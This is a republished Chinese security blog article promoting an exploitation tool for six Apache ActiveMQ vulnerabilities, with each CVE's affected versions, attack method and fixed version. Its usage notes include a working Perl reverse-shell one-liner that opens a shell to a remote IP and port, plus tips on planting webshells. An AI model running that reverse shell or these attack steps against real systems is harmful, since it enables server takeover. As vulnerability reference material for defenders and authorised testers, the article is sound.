2026-05-11 07:27:26 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文介绍一款针对ApacheActiveMQ全版本漏洞的集成利用工具，支持CVE-2015-5254、CVE-2023-46604等6个关键漏洞的RCE和文件上传攻击。工具提供具体利用注意事项，如CVE-2015-5254需使用perl反弹shell，CVE-2022-41678需添加认证头部。文档包含各漏洞影响版本、利用方式及修复方案，并强调工具仅限授权测试使用。 综合评分： 72 文章分类： 漏洞分析,红队,安全工具,实战经验,WEB安全

cover_image

红队必备！Apache ActiveMQ全版本漏洞一键利用工具，支持RCE/文件上传/权限绕过（2026版）

原创

澄影安全澄影安全

0x66安全

2026年5月5日 09:43 广东

在小说阅读器读本章

去阅读

1.什么是Apache ActiveMQ

#

Apache ActiveMQ 是 Apache 软件基金会下的一个开源项目，用 Java 开发的一款开源消息中间件（Message Broker）。它的核心作用是在不同系统、不同服务之间异步传递消息，让发送方和接收方不需要同时在线，也不用互相等待。

你可以把它想象成一个智能邮局：发件人把消息“投递”到队列（信箱），收件人再来取走。哪怕收件人当时不在，消息也不会丢。

2.工具介绍

ActiveMQ-EXPtools支持检测和利用目前发现的所有Apache ActiveMQ漏洞，详见下面，工具开发作者：Catherines77

CVE-2015-5254
CVE-2016-3088
CVE-2022-41678
CVE-2023-46604
CVE-2024-32114
CVE-2026-34197

#

3.注意事项

CVE-2015-5254

java-chains生成反序列化数据，验证漏洞时可以用URLDNS

在反弹shell时最好用perl，sh和bash有时弹不了

/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

CVE-2022-41678

自定义webshell写入时，冰蝎马写入会报500，哥斯拉正常。工具连接时注意要加上认证头部

#

4.Apache ActiveMQ全版本CVE 漏洞介绍

CVE-2015-5254

Apache ActiveMQ 反序列化漏洞（最经典的“61616 端口”漏洞）

影响版本：5.13.0 之前（5.10.0 ~ 5.12.x）
漏洞类型：Java 反序列化（基于 Apache Commons Collections）
利用方式：攻击者通过默认的 OpenWire 端口（61616）发送精心构造的序列化对象，触发远程代码执行。
后果：可完全控制服务端，植入后门、挖矿或勒索。
修复版本：5.13.0（关闭了不安全的类加载机制）

当年这个漏洞与 Hadoop、WebLogic 等组件一起构成了“反序列化漏洞爆发年”的重要案例。

CVE-2016-3088

ActiveMQ Fileserver 文件上传漏洞

影响版本：5.14.0 之前的 5.x 版本（尤其是 Fileserver 功能开启时）
漏洞类型：路径遍历 + 任意文件写入（PUT 方法）
利用方式：利用 fileserver 服务的 PUT 请求上传 JSP Webshell，然后通过 Web 访问执行。
后果：直接获取服务器控制权。
修复版本：5.14.0（移除了 fileserver 应用）

这个漏洞结合了 HTTP 管理端口（默认 8161）的配置缺陷，当年很多运维不知道默认开启了 fileserver。

CVE-2022-41678

ActiveMQ org.apache.activemq.broker.jmx.ManagementContext 反序列化漏洞

影响版本：5.16.5 之前、5.17.3 之前的部分版本
漏洞类型：JMX 相关反序列化
利用方式：攻击者若能访问 JMX 的 RMI 接口，可发送恶意对象执行任意代码。
后果：远程代码执行（需要 JMX 暴露公网或内网可达）。
修复版本：5.16.6、5.17.4

CVE-2023-46604

ActiveMQ 的 OpenWire 协议解析器远程代码执行（高危且容易利用）

影响版本：5.18.3 之前的所有版本（从 5.15.0 开始受影响）
漏洞类型：基于 OpenWire 反序列化的类过滤绕过
利用方式：向 61616 端口发送特制的 OpenWire 数据包，绕过黑名单加载恶意类。
后果：无需任何认证，直接远程执行系统命令。
修复版本：5.15.15、5.16.6、5.17.4、5.18.3

2023 年底公开后，全球大量暴露 61616 端口的 ActiveMQ 被迅速扫描和攻陷。至今仍有不少未修复的实例。

CVE-2024-32114

ActiveMQ 的 REST API 及 Jolokia 管理接口的路径遍历漏洞

影响版本：5.18.3 之前
漏洞类型：不安全的 API 端点 + 路径遍历 (../)
利用方式：通过 Jolokia 或 REST API 读取任意文件（如/etc/passwd）或写入敏感文件。
后果：信息泄露，若结合其他漏洞可升级为 RCE。
修复版本：5.18.3

CVE-2026-34197

Apache ActiveMQ 的 Jolokia 组件远程代码执行漏洞

影响版本
5.x 系列：所有低于 5.19.5 的 5.x 版本****
6.x 系列：6.0.0 ~ 6.2.3
漏洞类型：远程代码执行（RCE）
影响组件：Apache ActiveMQ Classic 集成的 Jolokia JMX-HTTP 桥接组件
默认路径：
5.15+ 版本：/api/jolokia/
5.14 及更早：/jolokia/
默认端口：8161（Web 管理控制台）
修复版本：5.19.5、6.2.4 及以上
披露时间：2026-04-08

#

📎 获取方法

整理了一份常用工具和笔记，后台回复：资料

回复加群获取交流群

⚠️ 最后必看 – 免责声明

文章中的案例或工具仅面向合法授权的企业安全建设行为，请自行搭建靶机环境，勿用于非法行为。如用于其他用途，由使用者承担全部法律及连带责任。

本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。

如您在使用过程中存在任何非法行为，需自行承担相应后果。本工具来源于网络，若有侵权请联系删除，请勿用于商业行为！

📚 往期推荐

微信号: 关注公众号获取 | 扫码关注了解更多

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：0x66安全澄影安全澄影安全《红队必备！Apache ActiveMQ全版本漏洞一键利用工具，支持RCE/文件上传/权限绕过（2026版）》